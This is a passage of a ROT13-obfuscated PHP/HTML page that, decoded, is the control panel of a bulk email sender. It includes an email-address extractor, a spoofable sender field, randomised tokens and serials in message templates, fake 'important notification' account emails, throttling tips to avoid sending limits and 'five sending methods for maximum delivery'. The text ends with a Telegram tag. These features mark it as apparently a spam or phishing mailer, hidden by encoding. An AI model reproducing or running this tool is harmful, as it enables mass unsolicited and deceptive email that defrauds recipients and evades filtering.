                            'vpba' => 'ov-arjfcncre',
                            'fhowrpg' => 'Zbaguyl Arjfyrggre - [-zbagu-] [-lrne-]',
                            'zrffntr' => "Qrne [-rznvyhfre-],

Jrypbzr gb bhe [-zbagu-] arjfyrggre!

Urer ner gur yngrfg hcqngrf:
• Arj srngherf nqqrq
• Hcpbzvat riragf
• Fcrpvny bssref

Ivfvg bhe jrofvgr sbe zber qrgnvyf.

Orfg ertneqf,
Arjfyrggre Grnz"
                        ],
                        'jrypbzr' => [
                            'gvgyr' => 'Jrypbzr Rznvy',
                            'vpba' => 'ov-rzbwv-fzvyr',
                            'fhowrpg' => 'Jrypbzr gb Bhe Freivpr, [-rznvyhfre-]!',
                            'zrffntr' => "Uryyb [-rznvyhfre-],

Jrypbzr nobneq! Jr'er rkpvgrq gb unir lbh jvgu hf.

Lbhe nppbhag unf orra fhpprffshyyl perngrq.

Nppbhag Qrgnvyf:
• Rznvy: [-rznvy-]
• Wbva Qngr: [-qngr-]
• Ersrerapr: [-enaqbzfgevat-]

Trg fgnegrq ol ivfvgvat lbhe qnfuobneq.

Gunax lbh sbe pubbfvat hf!

Orfg ertneqf,
Fhccbeg Grnz"
                        ],
                        'cebzbgvba' => [
                            'gvgyr' => 'Cebzbgvba',
                            'vpba' => 'ov-creprag',
                            'fhowrpg' => 'Fcrpvny Bssre Whfg sbe Lbh!',
                            'zrffntr' => "Uryyb [-rznvyhfre-],

Jr unir n fcrpvny cebzbgvba sbe bhe inyhrq zrzoref!

Hfr pbqr: [-enaqbzfgevat-]
Inyvq hagvy: [-qngr-]

Guvf bssre vf rkpyhfvir gb lbh. Qba'g zvff guvf bccbeghavgl!

Pyvpx urer gb pynvz lbhe bssre.

Orfg ertneqf,
Cebzbgvbaf Grnz"
                        ],
                        'abgvsvpngvba' => [
                            'gvgyr' => 'Abgvsvpngvba',
                            'vpba' => 'ov-oryy',
                            'fhowrpg' => 'Vzcbegnag Abgvsvpngvba - Ersrerapr: [-frevny-]',
                            'zrffntr' => "Qrne [-rznvyhfre-],

Guvf vf na vzcbegnag abgvsvpngvba ertneqvat lbhe nppbhag.

Abgvsvpngvba VQ: [-enaqbzzq5-]
Gvzr: [-gvzr-]
Ersrerapr: [-frevny-]

Cyrnfr gnxr nccebcevngr npgvba vs arrqrq.

Orfg ertneqf,
Abgvsvpngvba Flfgrz"
                        ]
                    ];
                    
                    sbernpu($grzcyngrf nf $xrl => $grzcyngr):
                    ?>
                    <qvi pynff="pby-zq-6 pby-yt-3 zo-4">
                        <qvi pynff="grzcyngr-pneq" bapyvpx="ybnqGrzcyngr('<?= $xrl ?>')">
                            <v pynff="ov <?= $grzcyngr['vpba'] ?> grzcyngr-vpba"></v>
                            <u5><?= $grzcyngr['gvgyr'] ?></u5>
                            <c pynff="grkg-zhgrq fznyy zo-0">Pyvpx gb ybnq guvf grzcyngr</c>
                        </qvi>
                    </qvi>
                    <?cuc raqsbernpu; ?>
                </qvi>
            </qvi>
            
            <!-- Ybtf Gno -->
            <qvi pynff="gno-cnar snqr" vq="ybtf" ebyr="gnocnary">
                <qvi pynff="pneq">
                    <qvi pynff="pneq-urnqre q-syrk whfgvsl-pbagrag-orgjrra nyvta-vgrzf-pragre">
                        <u5 pynff="zo-0"><v pynff="ov ov-yvfg-purpx zr-2"></v>Fraqvat Ybtf</u5>
                        <ohggba pynff="oga oga-bhgyvar-frpbaqnel oga-fz" bapyvpx="pyrneYbtf()">
                            <v pynff="ov ov-genfu"></v> Pyrne Ybtf
                        </ohggba>
                    </qvi>
                    <qvi pynff="pneq-obql">
                        <qvi pynff="ybt-pbagnvare" vq="ybtfPbagnvare">
                            <?cuc vs(!rzcgl($ybtf)): ?>
                                <?cuc sbernpu(neenl_erirefr($ybtf) nf $ybt): ?>
                                    <?= $ybt ?>
                                <?cuc raqsbernpu; ?>
                            <?cuc ryfr: ?>
                                <qvi pynff="grkg-pragre grkg-zhgrq cl-4">
                                    <v pynff="ov ov-vaobk qvfcynl-4 zo-3"></v>
                                    <c>Ab ybtf lrg. Fraq fbzr rznvyf gb frr ybtf urer.</c>
                                </qvi>
                            <?cuc raqvs; ?>
                        </qvi>
                    </qvi>
                </qvi>
            </qvi>
        </qvi>
    </qvi>
    
    <!-- Zbqnyf -->
    <qvi pynff="zbqny snqr" vq="rkgenpgZbqny" gnovaqrk="-1">
        <qvi pynff="zbqny-qvnybt">
            <qvi pynff="zbqny-pbagrag">
                <qvi pynff="zbqny-urnqre">
                    <u5 pynff="zbqny-gvgyr"><v pynff="ov ov-zntvp zr-2"></v>Rkgenpg Rznvyf</u5>
                    <ohggba glcr="ohggba" pynff="oga-pybfr" qngn-of-qvfzvff="zbqny"></ohggba>
                </qvi>
                <qvi pynff="zbqny-obql">
                    <sbez zrgubq="cbfg" vq="rkgenpgSbez">
                        <vachg glcr="uvqqra" anzr="npgvba" inyhr="rkgenpg">
                        <qvi pynff="zo-3">
                            <ynory pynff="sbez-ynory">Cnfgr grkg pbagnvavat rznvyf:</ynory>
                            <grkgnern pynff="sbez-pbageby" anzr="rkgenpg_grkg" ebjf="10" cynprubyqre="Cnfgr nal grkg urer..."></grkgnern>
                        </qvi>
                    </sbez>
                </qvi>
                <qvi pynff="zbqny-sbbgre">
                    <ohggba glcr="ohggba" pynff="oga oga-frpbaqnel" qngn-of-qvfzvff="zbqny">Pnapry</ohggba>
                    <ohggba glcr="fhozvg" pynff="oga oga-cevznel" sbez="rkgenpgSbez">Rkgenpg Rznvyf</ohggba>
                </qvi>
            </qvi>
        </qvi>
    </qvi>
    
    <qvi pynff="zbqny snqr" vq="grfgZbqny" gnovaqrk="-1">
        <qvi pynff="zbqny-qvnybt">
            <qvi pynff="zbqny-pbagrag">
                <qvi pynff="zbqny-urnqre">
                    <u5 pynff="zbqny-gvgyr"><v pynff="ov ov-purpx-pvepyr zr-2"></v>Fraq Grfg Rznvy</u5>
                    <ohggba glcr="ohggba" pynff="oga-pybfr" qngn-of-qvfzvff="zbqny"></ohggba>
                </qvi>
                <qvi pynff="zbqny-obql">
                    <sbez zrgubq="cbfg" vq="grfgSbez">
                        <vachg glcr="uvqqra" anzr="npgvba" inyhr="grfg">
                        <qvi pynff="zo-3">
                            <ynory pynff="sbez-ynory">Grfg Rznvy Nqqerff:</ynory>
                            <vachg glcr="rznvy" pynff="sbez-pbageby" anzr="grfg_rznvy" cynprubyqre="grfg@rknzcyr.pbz" erdhverq>
                        </qvi>
                        <qvi pynff="zo-3">
                            <ynory pynff="sbez-ynory">Sebz Rznvy:</ynory>
                            <vachg glcr="rznvy" pynff="sbez-pbageby" anzr="sebz_rznvy" inyhr="<?= ugzyfcrpvnypunef($_CBFG['sebz_rznvy'] ?? 'abercyl@' . $_FREIRE['UGGC_UBFG']) ?>" erdhverq>
                        </qvi>
                    </sbez>
                </qvi>
                <qvi pynff="zbqny-sbbgre">
                    <ohggba glcr="ohggba" pynff="oga oga-frpbaqnel" qngn-of-qvfzvff="zbqny">Pnapry</ohggba>
                    <ohggba glcr="fhozvg" pynff="oga oga-fhpprff" sbez="grfgSbez">Fraq Grfg</ohggba>
                </qvi>
            </qvi>
        </qvi>
    </qvi>
    
    <!-- Uryc Zbqny -->
    <qvi pynff="zbqny snqr" vq="urycZbqny" gnovaqrk="-1">
        <qvi pynff="zbqny-qvnybt zbqny-yt">
            <qvi pynff="zbqny-pbagrag">
                <qvi pynff="zbqny-urnqre">
                    <u5 pynff="zbqny-gvgyr"><v pynff="ov ov-dhrfgvba-pvepyr zr-2"></v>Uryc & Qbphzragngvba</u5>
                    <ohggba glcr="ohggba" pynff="oga-pybfr" qngn-of-qvfzvff="zbqny"></ohggba>
                </qvi>
                <qvi pynff="zbqny-obql">
                    <u6>Ninvynoyr Gntf</u6>
                    <qvi pynff="ebj zo-3">
                        <qvi pynff="pby-zq-6">
                            <hy pynff="yvfg-hafglyrq">
                                <yv><pbqr>[-rznvy-]</pbqr> - Shyy erpvcvrag rznvy</yv>
                                <yv><pbqr>[-rznvyhfre-]</pbqr> - Rznvy hfreanzr cneg</yv>
                                <yv><pbqr>[-rznvyqbznva-]</pbqr> - Rznvy qbznva cneg</yv>
                                <yv><pbqr>[-gvzr-]</pbqr> - Pheerag qngr/gvzr</yv>
                                <yv><pbqr>[-qngr-]</pbqr> - Pheerag qngr</yv>
                            </hy>
                        </qvi>
                        <qvi pynff="pby-zq-6">
                            <hy pynff="yvfg-hafglyrq">
                                <yv><pbqr>[-enaqbzfgevat-]</pbqr> - Enaqbz nycunahzrevp</yv>
                                <yv><pbqr>[-enaqbzzq5-]</pbqr> - Enaqbz ZQ5 unfu</yv>
                                <yv><pbqr>[-gbxra-]</pbqr> - Frphevgl gbxra</yv>
                                <yv><pbqr>[-frevny-]</pbqr> - Havdhr frevny ahzore</yv>
                                <yv><pbqr>[-qbznva-]</pbqr> - Lbhe qbznva anzr</yv>
                            </hy>
                        </qvi>
                    </qvi>
                    
                    <u6>Gvcf sbe Fhpprff</u6>
                    <hy>
                        <yv>Nyjnlf hfr na rznvy sebz lbhe qbznva nf fraqre</yv>
                        <yv>Fgneg jvgu n grfg rznvy gb irevsl frghc</yv>
                        <yv>Hfr UGZY sbezng sbe orggre cerfragngvba</yv>
                        <yv>Nqq qrynl orgjrra rznvyf gb nibvq yvzvgf</yv>
                        <yv>Purpx flfgrz qvntabfgvpf sbe vffhrf</yv>
                    </hy>
                </qvi>
            </qvi>
        </qvi>
    </qvi>
    
    <!-- Fpevcgf -->
    <fpevcg fep="uggcf://pqa.wfqryvie.arg/acz/obbgfgenc@5.1.3/qvfg/wf/obbgfgenc.ohaqyr.zva.wf"></fpevcg>
    <fpevcg>
        // Sbez shapgvbaf
        shapgvba pyrneSbez() {
            vs(pbasvez('Pyrne nyy sbez qngn?')) {
                qbphzrag.trgRyrzragOlVq('rznvySbez').erfrg();
                ybpnyFgbentr.pyrne();
            }
        }
        
        shapgvba pyrneYbtf() {
            qbphzrag.trgRyrzragOlVq('ybtfPbagnvare').vaareUGZY = 
                '<qvi pynff="grkg-pragre grkg-zhgrq cl-4">' +
                '<v pynff="ov ov-vaobk qvfcynl-4 zo-3"></v>' +
                '<c>Ybtf pyrnerq</c>' +
                '</qvi>';
        }
        
        shapgvba nqqGnt(svryq, gnt) {
            yrg grkgnern;
            vs(svryq === 'zrffntr') {
                grkgnern = qbphzrag.trgRyrzragOlVq('zrffntrNern');
            } ryfr vs(svryq === 'fhowrpg') {
                grkgnern = qbphzrag.dhrelFryrpgbe('[anzr="fhowrpg"]');
            } ryfr {
                grkgnern = qbphzrag.trgRyrzragOlVq('rznvyYvfgNern');
            }
            
            pbafg fgneg = grkgnern.fryrpgvbaFgneg;
            pbafg raq = grkgnern.fryrpgvbaRaq;
            pbafg grkg = grkgnern.inyhr;
            
            grkgnern.inyhr = grkg.fhofgevat(0, fgneg) + gnt + grkg.fhofgevat(raq);
            grkgnern.sbphf();
            grkgnern.frgFryrpgvbaEnatr(fgneg + gnt.yratgu, fgneg + gnt.yratgu);
        }
        
        shapgvba ybnqGrzcyngr(glcr) {
            pbafg grzcyngrf = {
                'arjfyrggre': {
                    fhowrpg: 'Zbaguyl Arjfyrggre - [-zbagu-] [-lrne-]',
                    zrffntr: `Qrne [-rznvyhfre-],

Jrypbzr gb bhe [-zbagu-] arjfyrggre!

Urer ner gur yngrfg hcqngrf:
• Arj srngherf nqqrq
• Hcpbzvat riragf
• Fcrpvny bssref

Ivfvg bhe jrofvgr sbe zber qrgnvyf.

Orfg ertneqf,
Arjfyrggre Grnz`
                },
                'jrypbzr': {
                    fhowrpg: 'Jrypbzr gb Bhe Freivpr, [-rznvyhfre-]!',
                    zrffntr: `Uryyb [-rznvyhfre-],

Jrypbzr nobneq! Jr'er rkpvgrq gb unir lbh jvgu hf.

Lbhe nppbhag unf orra fhpprffshyyl perngrq.

Nppbhag Qrgnvyf:
• Rznvy: [-rznvy-]
• Wbva Qngr: [-qngr-]
• Ersrerapr: [-enaqbzfgevat-]

Trg fgnegrq ol ivfvgvat lbhe qnfuobneq.

Gunax lbh sbe pubbfvat hf!

Orfg ertneqf,
Fhccbeg Grnz`
                },
                'cebzbgvba': {
                    fhowrpg: 'Fcrpvny Bssre Whfg sbe Lbh!',
                    zrffntr: `Uryyb [-rznvyhfre-],

Jr unir n fcrpvny cebzbgvba sbe bhe inyhrq zrzoref!

Hfr pbqr: [-enaqbzfgevat-]
Inyvq hagvy: [-qngr-]

Guvf bssre vf rkpyhfvir gb lbh. Qba'g zvff guvf bccbeghavgl!

Pyvpx urer gb pynvz lbhe bssre.

Orfg ertneqf,
Cebzbgvbaf Grnz`
                },
                'abgvsvpngvba': {
                    fhowrpg: 'Vzcbegnag Abgvsvpngvba - Ersrerapr: [-frevny-]',
                    zrffntr: `Qrne [-rznvyhfre-],

Guvf vf na vzcbegnag abgvsvpngvba ertneqvat lbhe nppbhag.

Abgvsvpngvba VQ: [-enaqbzzq5-]
Gvzr: [-gvzr-]
Ersrerapr: [-frevny-]

Cyrnfr gnxr nccebcevngr npgvba vs arrqrq.

Orfg ertneqf,
Abgvsvpngvba Flfgrz`
                }
            };
            
            vs(grzcyngrf[glcr]) {
                qbphzrag.dhrelFryrpgbe('[anzr="fhowrpg"]').inyhr = grzcyngrf[glcr].fhowrpg;
                qbphzrag.trgRyrzragOlVq('zrffntrNern').inyhr = grzcyngrf[glcr].zrffntr;
                
                // Fjvgpu gb pbzcbfr gno
                pbafg pbzcbfrGno = arj obbgfgenc.Gno(qbphzrag.trgRyrzragOlVq('pbzcbfr-gno'));
                pbzcbfrGno.fubj();
            }
        }
        
        // Nhgb-fnir sbez
        pbafg rznvySbez = qbphzrag.trgRyrzragOlVq('rznvySbez');
        pbafg sbezSvryqf = ['sebz_rznvy', 'sebz_anzr', 'fhowrpg', 'zrffntr', 'rznvy_yvfg'];
        
        sbezSvryqf.sbeRnpu(svryq => {
            pbafg ryrzrag = rznvySbez.ryrzragf[svryq];
            vs(ryrzrag) {
                // Ybnq fnirq qngn
                pbafg fnirq = ybpnyFgbentr.trgVgrz('jnkn_' + svryq);
                vs(fnirq) {
                    ryrzrag.inyhr = fnirq;
                }
                
                // Fnir ba punatr
                ryrzrag.nqqRiragYvfgrare('vachg', shapgvba() {
                    ybpnyFgbentr.frgVgrz('jnkn_' + svryq, guvf.inyhr);
                });
            }
        });
        
        // Sbez inyvqngvba
        rznvySbez.nqqRiragYvfgrare('fhozvg', shapgvba(r) {
            pbafg rznvyYvfg = rznvySbez.ryrzragf['rznvy_yvfg'].inyhr.gevz();
            vs(!rznvyYvfg) {
                r.ceriragQrsnhyg();
                nyreg('Cyrnfr ragre ng yrnfg bar rznvy nqqerff');
                rznvySbez.ryrzragf['rznvy_yvfg'].sbphf();
                erghea;
            }
            
            pbafg rznvyf = rznvyYvfg.fcyvg('\a').svygre(rznvy => rznvy.gevz());
            pbafg inyvqRznvyf = rznvyf.svygre(rznvy => /^[^\f@]+@[^\f@]+\.[^\f@]+$/.grfg(rznvy));
            
            vs(inyvqRznvyf.yratgu === 0) {
                r.ceriragQrsnhyg();
                nyreg('Ab inyvq rznvy nqqerffrf sbhaq. Cyrnfr purpx lbhe rznvy yvfg.');
                erghea;
            }
            
            pbafg qrynlVachg = qbphzrag.dhrelFryrpgbe('[anzr="qrynl"]');
            pbafg qrynlZf = qrynlVachg ? cnefrVag(qrynlVachg.inyhr) : 100;
            qrynlVachg.inyhr = qrynlZf * 1000; // Pbaireg gb zvpebfrpbaqf
            
            vs(!pbasvez(`Fraq ${inyvqRznvyf.yratgu} rznvy${inyvqRznvyf.yratgu > 1 ? 'f' : ''}? Guvf jvyy hfr 5 qvssrerag fraqvat zrgubqf sbe znkvzhz qryvirel.`)) {
                r.ceriragQrsnhyg();
            }
        });
        
        // Hcqngr qrynl qvfcynl
        pbafg qrynlEnatr = qbphzrag.dhrelFryrpgbe('vachg[glcr="enatr"][anzr="qrynl"]');
        vs(qrynlEnatr) {
            qrynlEnatr.nqqRiragYvfgrare('vachg', shapgvba() {
                qbphzrag.trgRyrzragOlVq('qrynlInyhr').vaareGrkg = guvf.inyhr + 'zf';
            });
        }
        
        // Nhgb-fpebyy ybtf
        pbafg ybtfPbagnvare = qbphzrag.trgRyrzragOlVq('ybtfPbagnvare');
        vs(ybtfPbagnvare) {
            ybtfPbagnvare.fpebyyGbc = ybtfPbagnvare.fpebyyUrvtug;
        }
        
        // Vavgvnyvmr gbbygvcf
        pbafg gbbygvcGevttreYvfg = [].fyvpr.pnyy(qbphzrag.dhrelFryrpgbeNyy('[qngn-of-gbttyr="gbbygvc"]'));
        gbbygvcGevttreYvfg.znc(shapgvba (gbbygvcGevttreRy) {
            erghea arj obbgfgenc.Gbbygvc(gbbygvcGevttreRy);
        });
    </fpevcg>
</obql>
</ugzy>
@ Telegram